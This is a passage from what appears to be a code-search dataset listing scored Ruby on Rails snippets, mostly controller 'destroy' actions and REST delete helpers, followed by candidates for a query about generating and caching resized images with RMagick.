"0.7280292", "text": "def destroy\n @actividad.destroy\n respond_to do |format|\n format.html { redirect_to actividades_url, notice: 'Borrado correctamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3ace4f26cadb284ae2b9fa5dbc03143d", "score": "0.72556674", "text": "def destroy\n @actividad.destroy\n respond_to do |format|\n format.html { redirect_to actividades_url, notice: 'Actividad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9cb4a779a35ebbe178709119f6c27812", "score": "0.72211534", "text": "def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to estaciones_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f691e89a8dae5d019e3bc29c70c70871", "score": "0.72110575", "text": "def destroy\n @actividad.destroy\n respond_to do |format|\n format.html { redirect_to actividads_url, notice: 'Actividad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18a1dfde77376ab4868db224cf80b256", "score": "0.71776694", "text": "def destroy\n @insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to insumos_reactivos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "92924a8b1050d3a7dd61eadb356a08a7", "score": "0.71665156", "text": "def destroy\n @tipo_estado.destroy\n respond_to do |format|\n format.html { redirect_to tipo_estados_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "28b9b5264c98cba1a9eafface37f1ae8", "score": "0.71645164", "text": "def destroy\n @tipoactividad.destroy\n respond_to do |format|\n format.html { redirect_to tipoactividads_url, notice: 'Tipoactividad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.7162466", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "036c2c78a26e571e3e549461436214e3", "score": "0.7161498", "text": "def destroy\n @tmp_actividad = TmpActividad.find(params[:id])\n @tmp_actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to tmp_actividades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2b73645b11f44ef7ed511af8fd26c640", "score": "0.7137018", "text": "def destroy\n @actividad.destroy\n respond_to do |format|\n format.html { redirect_to current_profesor, notice: 'Se borró exitosamente la actividad.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c615e8a36de6e1ff21803bff3dc88a84", "score": "0.7135496", "text": "def destroy\n @estado.destroy\n respond_to do |format|\n format.html { redirect_to estados_url, notice: 'Estado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c073327d61f2fc992a43c182f5e91b7f", "score": "0.7124173", "text": "def destroy\n @paciente_estado.destroy\n respond_to do |format|\n format.html { redirect_to paciente_estados_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cca8f05df2dfc530858c554fc7481f86", "score": "0.7096481", "text": "def destroy\n @estado_cliente = EstadoCliente.find(params[:id])\n @estado_cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to estado_clientes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e1f4bad5f55893186a3ecea321742d29", "score": "0.7095495", "text": "def destroy\n @statusentrega = Statusentrega.find(params[:id])\n @statusentrega.destroy\n\n respond_to do |format|\n format.html { redirect_to statusentregas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6598dcd947ef55b3f71ca95451ebde12", "score": "0.70866054", "text": "def destroy\n @establecimiento = Establecimiento.find(params[:id])\n @establecimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to establecimientos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0674f1b6f8e6fd33271b36be2baf448b", "score": "0.7085849", "text": "def destroy\n @tipo_apuestum = TipoApuestum.find(params[:id])\n @tipo_apuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_apuesta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "69b7ad45df21695ae5620306216d4ec7", "score": "0.70807344", "text": "def destroy\r\n @sivic_estado.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_estados_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "ac9f58e512ae44c96a12910a5ff49ca5", "score": "0.70782673", "text": "def destroy\n @arriendo_estado.destroy\n respond_to do |format|\n format.html { redirect_to arriendo_estados_url, notice: 'Estado de arriendo fue satisfactoriamente eliminado.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "887432e4b57a71666f432ad34958877c", "score": "0.7058352", "text": "def destroy\n @solicitud = Solicitud.find(params[:id])\n @solicitud.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1fdd7b83fae7c014a9c128b13925b789", "score": "0.7053829", "text": "def destroy\n @oferta = Oferta.find(params[:id])\n @oferta.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to ofertas_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "c8c50da5c1fd2421837485e7f8202a2f", "score": "0.70435244", "text": "def destroy\n @estado_autorizacion = EstadoAutorizacion.find(params[:id])\n @estado_autorizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estado_autorizacions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a1fc99eaf448bbc92ee65e7d1094511c", "score": "0.7028779", "text": "def destroy\n @estado_habilitado.destroy\n respond_to do |format|\n format.html { redirect_to estado_habilitados_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "192808b576def88fc237ae23f8a47d4a", "score": "0.7026474", "text": "def destroy\n @estado_curriculo.destroy\n respond_to do |format|\n format.html { redirect_to estado_do_curriculos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c40bef4b11d8f6a78811cd7a3e4716c5", "score": "0.70247513", "text": "def destroy\n @daw_actividad.destroy\n respond_to do |format|\n format.html { redirect_to daw_actividads_url, notice: 'Daw actividad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c69461d7e64f143bf79a6b4362e580b", "score": "0.7013811", "text": "def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to estudiantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2886b6b4fca139409a69342fae916f9c", "score": "0.7013449", "text": "def destroy\n @autorizacion = Autorizacion.find(params[:id])\n @autorizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to autorizaciones_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "371cce4783485596c6cab2dc20c7ecda", "score": "0.7012128", "text": "def destroy\n @loteactividad.destroy\n respond_to do |format|\n format.html { redirect_to loteactividads_url, notice: 'Loteactividad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.7009944", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "6a2f559db7176ec66268d7e1af9cdd4b", "score": "0.7004339", "text": "def destroy\n @tipo_acidente.destroy\n respond_to do |format|\n format.html { redirect_to tipo_acidentes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "abdec7b636978ba19965e0d7dfcc2c46", "score": "0.6997689", "text": "def destroy\n @estado = Estado.find(params[:id])\n @estado.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_estados_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4eadb61943fa9a636cad510bf21db1aa", "score": "0.6997338", "text": "def destroy\n @agronomiadecanato = Agronomiadecanato.find(params[:id])\n @agronomiadecanato.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiadecanatos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0063393becfeea5760b7e0e3a0f34cc8", "score": "0.69919306", "text": "def destroy\n @comunidad.destroy\n respond_to do |format|\n format.html { redirect_to comunidades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d804c4e8d687d6c671eabfafcfba31bd", "score": "0.6991674", "text": "def destroy\n @recepcion_activo = RecepcionActivo.find(params[:id])\n @recepcion_activo.destroy\n\n respond_to do |format|\n format.html { redirect_to recepciones_activos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72ac27a7d3c22d92045e3a96b3178ab6", "score": "0.69734997", "text": "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f34ec3e4ad665020b06b00de2d3e5fe", "score": "0.6972587", "text": "def destroy\n @est_comentario.destroy\n respond_to do |format|\n format.html { redirect_to est_comentarios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1abb26bf31f5093c3848b2927ff648be", "score": "0.6969731", "text": "def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to aplicaciones_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9b06baaf504dcea32f59c511a867719a", "score": "0.6964778", "text": "def destroy\n @cotacao = Cotacao.find(params[:id])\n @cotacao.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to cotacaos_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d0aebc967765b77df63902f56f9cbdcc", "score": "0.69637287", "text": "def destroy\n @empresa = Empresa.find(params[:empresa_id])\n @estadistica = @empresa.estadisticas.find(params[:id]) \n @estadistica.destroy\n respond_to do |format|\n format.html { redirect_to empresa_estadisticas_path, notice: 'Estadistica was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eb4d3922328c3f3b08e51915ae88aa65", "score": "0.69548464", "text": "def destroy\n @status_consultum = StatusConsultum.find(params[:id])\n @status_consultum.destroy\n\n respond_to do |format|\n format.html { redirect_to status_consulta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d6c76c49489c78d2886010f0771edce", "score": "0.6953794", "text": "def destroy\n @tipo_acc = TipoAcc.find(params[:id])\n @tipo_acc.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_accs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.69493634", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "6aacef0a41b0cab169d450bf06d67c78", "score": "0.69491476", "text": "def destroy\n @apuestum = Apuestum.find(params[:id])\n @apuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to apuesta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e24ee4adc4a1a7e1a49389434baa7e1d", "score": "0.6948387", "text": "def destroy\n @fabricante = Fabricante.find(params[:id])\n @fabricante.destroy\n\n respond_to do |format|\n format.html { redirect_to fabricantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "851bfc10f468b300b20eac084b49a20f", "score": "0.69454503", "text": "def destroy\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n addlog(\"Apagou um aviso\")\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cfea572d114948e2ea084b545c3be8cd", "score": "0.69442135", "text": "def destroy\n request = RestClient.delete File.join(API_SERVER,\"rest-api/departments\",params['id'])\n redirect_to :action => :index\t\n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.69403476", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "a25de9cdd44e9754587d56291a8c65f1", "score": "0.6939436", "text": "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to admin_clientes_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "7dcf2b66db6f87752bd1b6f60193588b", "score": "0.6933206", "text": "def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidad_index_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27607aefcfec79c9f70af7a73da767ae", "score": "0.69322973", "text": "def destroy\n @examen_colocacion_idioma.destroy\n respond_to do |format|\n format.html { redirect_to examen_colocacion_idiomas_url, notice: 'La solicitud de examen de colocación se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "106b9de1bc6ad4cebb2827c9d438dabe", "score": "0.69318414", "text": "def destroy\n @activite_aquatique.destroy\n respond_to do |format|\n format.html { redirect_to activite_aquatiques_url, notice: 'Activite aquatique was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4ee25cfd1a28449ab8143b07cc5e6b65", "score": "0.69298667", "text": "def destroy\n @lista_de_actividade.destroy\n respond_to do |format|\n format.html { redirect_to lista_de_actividades_url, notice: 'Lista de actividade was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f60774f4e621886b8bb91d5fe2980d02", "score": "0.6919983", "text": "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f60774f4e621886b8bb91d5fe2980d02", "score": "0.6919983", "text": "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6416a3a89be98c88990accf3f3f52bb8", "score": "0.69195265", "text": "def destroy\n @actividad.destroy\n respond_to do |format|\n format.html { redirect_to index_actividad_path(params[:paciente_id]),\n notice: 'Actividad se elimino correctamente.' }\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.6916619", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "8fe024ba86c714d78a9fb2232391a34a", "score": "0.6915802", "text": "def destroy\n @estado_pedido = EstadoPedido.find(params[:id])\n @estado_pedido.destroy\n\n respond_to do |format|\n format.html { redirect_to estado_pedidos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "01ddf3f055e9807062275f178a4c3944", "score": "0.6915442", "text": "def destroy\n @tipoestado.destroy\n respond_to do |format|\n format.html { redirect_to tipoestados_url, notice: 'Tipoestado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "39318cea5e79a54042e22b0677b2d855", "score": "0.6915382", "text": "def destroy\n @tipo_entidad = TipoEntidad.find(params[:id])\n @tipo_entidad.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_entidades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "08105e7895c7e98c840c5db0aff598dd", "score": "0.6911012", "text": "def destroy\n @actividad_turistica.destroy\n respond_to do |format|\n format.html { redirect_to actividad_turisticas_url, notice: 'Actividad turistica eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c62150838fb4a0a47e6bdbdde8afd731", "score": "0.69072264", "text": "def destroy\n @cotacao = Cotacao.find(params[:id])\n @cotacao.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to admin_cotacaos_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "892ea409ce86af977a64bf3c8678e708", "score": "0.6906374", "text": "def destroy\n @estado_civil = EstadoCivil.find(params[:id])\n @estado_civil.destroy\n\n respond_to do |format|\n format.html { redirect_to estado_civils_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a995e58f524ee564fd1f9cd38a008dd1", "score": "0.69060314", "text": "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(institucion_solicitud_url(@institucion,@solicitud)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fb85f5a45cbea5bcaa8e1c9408f8cf91", "score": "0.69047934", "text": "def destroy\n @estudiante.destroy\n respond_to do |format|\n format.html { redirect_to estudiantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1c35c2a47a8798aba333cc58f34f445", "score": "0.69042027", "text": "def destroy\n @entidad.destroy\n respond_to do |format|\n format.html { redirect_to entidades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ca3d1130d1d19fbb1fc397a4192e5897", "score": "0.6903294", "text": "def destroy\n @estatusadecuacion.destroy\n respond_to do |format|\n format.html { redirect_to estatusadecuacions_url, notice: 'Estatusadecuacion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d920104f9876d2e49629fcb548331d0a", "score": "0.6901282", "text": "def destroy\n @tipo_actividad_turistica.destroy\n respond_to do |format|\n format.html { redirect_to tipo_actividad_turisticas_url, notice: 'Tipo actividad turistica eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.6899975", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "ad90355032531123abde3f8bafb2c938", "score": "0.6899247", "text": "def destroy\n @estetica = Estetica.find(params[:id])\n @estetica.destroy\n\n respond_to do |format|\n format.html { redirect_to esteticas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "388b0dda687971a7da6859f8c6c0514e", "score": "0.6892519", "text": "def destroy\n @destaque = Destaque.find(params[:id])\n @destaque.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to admin_destaques_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "bcdf925cb15f1fc25741747f7dc5ea8a", "score": "0.68912274", "text": "def destroy\n respond_to do |format|\n if @estado.destroy\n format.html { redirect_to estados_url }\n format.json { head :no_content }\n else\n format.html { redirect_to estados_url, notice: 'No se puede eliminar' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "3db18dcaa1dca50fb463423ec2824966", "score": "0.68903077", "text": "def destroy\n @invitacion = Invitacion.find(params[:id])\n @invitacion.destroy\n\n respond_to do |format|\n format.html { redirect_to invitaciones_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6287a009cdcf237753694382a70f9b48", "score": "0.68880033", "text": "def destroy\n @activitat.destroy\n respond_to do |format|\n format.html { redirect_to activitats_url, notice: 'Activitat destruida correctament.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27d96cb91ab396167cf3f3e42844ec3b", "score": "0.6887622", "text": "def destroy\n @vigencia_ofertum = VigenciaOferta.find(params[:id])\n @vigencia_ofertum.destroy\n\n respond_to do |format|\n format.html { redirect_to vigencia_oferta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "268cd9c728145a01764e9573495fb030", "score": "0.68814844", "text": "def destroy\n @tipo_egreso = TipoEgreso.find(params[:id])\n @tipo_egreso.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_egresos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8f314271b6ddc87eeeea2ba210ec49d1", "score": "0.6880604", "text": "def delete\n render json: Person.delete(params[\"id\"])\n end", "title": "" }, { "docid": "854348e6f8c1c539c10c686d9801f66a", "score": "0.6873731", "text": "def destroy\n @actividades_minutum.destroy\n respond_to do |format|\n format.html { redirect_to actividades_minuta_url, notice: 'Actividades minutum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "10b6fcb0224d5023bd428a95612325c2", "score": "0.6871068", "text": "def destroy\n @ventas_cliente = Ventas::Cliente.find(params[:id])\n @ventas_cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to ventas_clientes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "034d813387647ba367ef44dab8899fe3", "score": "0.68694097", "text": "def destroy\n @anotacion = Anotacion.find(params[:id])\n @anotacion.destroy\n\n respond_to do |format|\n format.html { redirect_to anotacions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "904aa296352b2c896fee466cd2494ede", "score": "0.68691146", "text": "def destroy\n @detalleapuestum = Detalleapuestum.find(params[:id])\n @detalleapuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to detalleapuesta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "011c3812f08d3bc25254d1835584b894", "score": "0.686818", "text": "def destroy\n @atendente = Atendente.find(params[:id])\n @atendente.destroy\n\n respond_to do |format|\n format.html { redirect_to atendentes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4a5bf91c3a7a4af007ef0608ff5e0109", "score": "0.6866396", "text": "def destroy\n @anio_escolar = AnioEscolar.find(params[:id])\n @anio_escolar.destroy\n\n respond_to do |format|\n format.html { redirect_to anios_escolares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "99b299a9185192f495693acc3a57d3c6", "score": "0.6864095", "text": "def destroy\n @type_activite = TypeActivite.find(params[:id])\n @type_activite.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(type_activites_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n \n end\n end", "title": "" }, { "docid": "c2c6b37ed91e4c5f07f4bec2198d98a4", "score": "0.68625295", "text": "def destroy\n @entrega = Entrega.find(params[:id])\n @entrega.destroy\n\n respond_to do |format|\n format.html { redirect_to entregas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c2c6b37ed91e4c5f07f4bec2198d98a4", "score": "0.68625295", "text": "def destroy\n @entrega = Entrega.find(params[:id])\n @entrega.destroy\n\n respond_to do |format|\n format.html { redirect_to entregas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f9b6446f533d814d959b423d247023f5", "score": "0.6858174", "text": "def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to cuentas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bcd23a16d66c3632662b056d89d7dc9b", "score": "0.6856639", "text": "def destroy\n @abonado = Abonado.find(params[:id])\n @abonado.destroy\n\n respond_to do |format|\n format.html { redirect_to abonados_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "89761aee68e1518b23bc3e56a1c339d0", "score": "0.6852877", "text": "def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to cuentas_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "815fee21d924284c1bc5b4516ae4262c", "score": "0.68514335", "text": "def destroy\n @aporte = Aporte.find(params[:id])\n @aporte.destroy\n\n respond_to do |format|\n format.html { redirect_to aportes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "815fee21d924284c1bc5b4516ae4262c", "score": "0.68514335", "text": "def destroy\n @aporte = Aporte.find(params[:id])\n @aporte.destroy\n\n respond_to do |format|\n format.html { redirect_to aportes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "49caacc029421791045196407faa35a0", "score": "0.68498427", "text": "def destroy\n @st_estado.destroy\n respond_to do |format|\n format.html { redirect_to st_estados_url, notice: 'St estado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c22ffd2aaea5ecbcb21725b13aab387", "score": "0.6845511", "text": "def destroy\n @especialidad = Especialidad.find(params[:id])\n @especialidad.destroy\n\n respond_to do |format|\n format.html { redirect_to especialidads_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1c1845c093ccf5f204bb61598531cbd6", "score": "0.68446165", "text": "def destroy\n @solicitacao = Solicitacao.find(params[:id])\n @solicitacao.destroy\n\n respond_to do |format|\n format.html { redirect_to solicitacaos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d47d8666f17f9514c6a1b533f6a3ddfd", "score": "0.6842843", "text": "def destroy\n @estado_articulo.destroy\n respond_to do |format|\n format.html { redirect_to estado_articulos_url, notice: 'Estado articulo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "320a85c0ed2ebf76223d07522c0e61b8", "score": "0.6842719", "text": "def destroy\n @motivo_consulta = MotivoConsulta.find(params[:motivo_consulta_id])\n @asignacion = @motivo_consulta.asignaciones.find(params[:id]) \n @asignacion.destroy\n\n respond_to do |format|\n format.html { redirect_to @motivo_consulta }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ca5d9fc72823294dbfbdccac5066a54b", "score": "0.68425465", "text": "def destroy\n @motivo_consulta = MotivoConsulta.find(params[:id])\n @motivo_consulta.destroy\n\n respond_to do |format|\n format.html { redirect_to motivos_consulta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "155bb0129cc113c2fc5c6f6b1336dfd1", "score": "0.6839053", "text": "def destroy\n @anexo = Anexo.find(params[:id])\n @anexo.destroy\n\n respond_to do |format|\n format.html { redirect_to anexos_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
bbbea12f6ddfb70e8395d735f5366086
Create an image that is at least DESIRED_WIDTHxDESIRED_WIDTH pixels, and then cache it.
[ { "docid": "2abc6e07e6ddf75ea343269697047df5", "score": "0.0", "text": "def get_random_spotlight_image(media_item, gravity = Magick::CenterGravity)\n result = \"error.jpg\"\n begin\n result = \"NOT DEFINED YET\"\n #no point creating the thumbnail from a possibly huge original image\n prefix = \"#{RAILS_ROOT}/public\"\n source_filepath = prefix+media_item.public_filename\n \n puts source_filepath\n \n \n \n target_file_name = source_filepath.gsub('.jpg',\"_rotator_portrait_full.jpg\")\n \n cached = FileTest.exist?(target_file_name)\n \n \n if !cached\n image = Magick::Image.read(source_filepath).first\n image.crop_resized!(DESIRED_WIDTH,DESIRED_HEIGHT, gravity)\n image.write(target_file_name)\n=begin \n #Get it to fit in the box\n image.resize_to_fit!(DESIRED_WIDTH,DESIRED_HEIGHT)\n \n #if the original source image is too small, pad it out with a black background to the required size\n if image.columns < DESIRED_WIDTH || image.rows < DESIRED_HEIGHT\n \n\nThis adds the background\n face = image.crop(Magick::CenterGravity, 0, 0,DESIRED_WIDTH,DESIRED_HEIGHT)\n background = Magick::Image.new(DESIRED_WIDTH,DESIRED_HEIGHT) {self.background_color = 'black'}\n xpos = (DESIRED_WIDTH-face.columns)/2\n overlay = background.composite(face, xpos, 0, Magick::OverCompositeOp)\n overlay.write(target_file_name) \n #\n puts \"+++++++++++++++\"\n\n end\n=end\n end\n \n result = target_file_name[prefix.length, target_file_name.length]\n rescue Exception => e\n #We have already set the result to be error.jpg\n logger.debug \"HomeHelper: Image shrink problem, error was :: #{e.class}: #{e.message}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\"\n \n end\n \n result\n \n end", "title": "" } ]
[ { "docid": "d0b35ec32815a64224c7427551fa66e3", "score": "0.6304924", "text": "def genfullimage(width, height)\n cacheinfo = [fullname, width, height, File.mtime(fullname)]\n\n if (cacheinfo != @cacheinfo) then\n image = Magick::Image::read(fullname).first\n image.auto_orient!\n\n pix_w = image.columns\n pix_h = image.rows\n r1 = width/pix_w.to_f\n r2 = height/pix_h.to_f\n simage = image.scale([r1, r2].min)\n\n hist = (0..255).map{0}\n\n #.quantize(256, Magick::GRAYColorspace, Magick::NoDitherMethod)\n simage.thumbnail(200, 200).color_histogram.each{|pixel, count|\n hist[(pixel.intensity*255/Magick::QuantumRange).round.to_i] += count\n }\n\n sum = hist.inject(0){|sum, t| sum + t}\n @histogram = hist.map{|x| x.to_f/sum}\n\n @imagecache = simage\n @cacheinfo = cacheinfo\n else\n simage = @imagecache\n end\n\n if (@defaultalt > -1) then\n @alt[@defaultalt].modifiers.each{|mod|\n simage = mod.apply(simage)\n }\n end\n\n simage\n end", "title": "" }, { "docid": "b56689547a5ef787309742641d74daed", "score": "0.570333", "text": "def create_contents(test = false)\n contents.dispose\n if contents_width > 0 && contents_height > 0 && !test\n self.contents = Bitmap.new(contents_width, calc_contents_height)\n else\n self.contents = Bitmap.new(1, 1)\n end\n end", "title": "" }, { "docid": "1fa355f4df3cbcdee8dd05c178dc44fa", "score": "0.5564629", "text": "def show\n cache_key = File.join(params[:id], params[:width].to_s, params[:height].to_s,\n params[:smoothness].to_s, params[:alpha].to_s,\n params[:high_color].to_s, params[:low_color].to_s,\n params[:island].to_s)\n\n unless data = Rails.cache.read(cache_key)\n # The proc ensures that the image leaves scope prior to garbage collection,\n # thus ensuring that it will actually be collected. This is all to prevent\n # a memory leak, detailed here:\n # http://rubyforge.org/forum/forum.php?thread_id=1374&forum_id=1618\n proc {\n image = generate_image\n data = image.to_blob { self.format = 'PNG' }\n image.destroy!\n }.call\n GC.start\n \n Rails.cache.write cache_key, data\n end\n \n send_data data, :filename => \"#{params[:id]}.png\", :type => \"image/png\",\n :disposition => 'inline'\n end", "title": "" }, { "docid": "349465cb69adbf72d40428761b651b24", "score": "0.55010056", "text": "def create_bitmap\n end", "title": "" }, { "docid": "23ebb0f213fc126b4c11badde856cd54", "score": "0.54915154", "text": "def create_contents\n self.contents.dispose\n self.contents = Bitmap.new(width - 32, [height - 32, row_max * @line_h].max)\n end", "title": "" }, { "docid": "23ebb0f213fc126b4c11badde856cd54", "score": "0.54915154", "text": "def create_contents\n self.contents.dispose\n self.contents = Bitmap.new(width - 32, 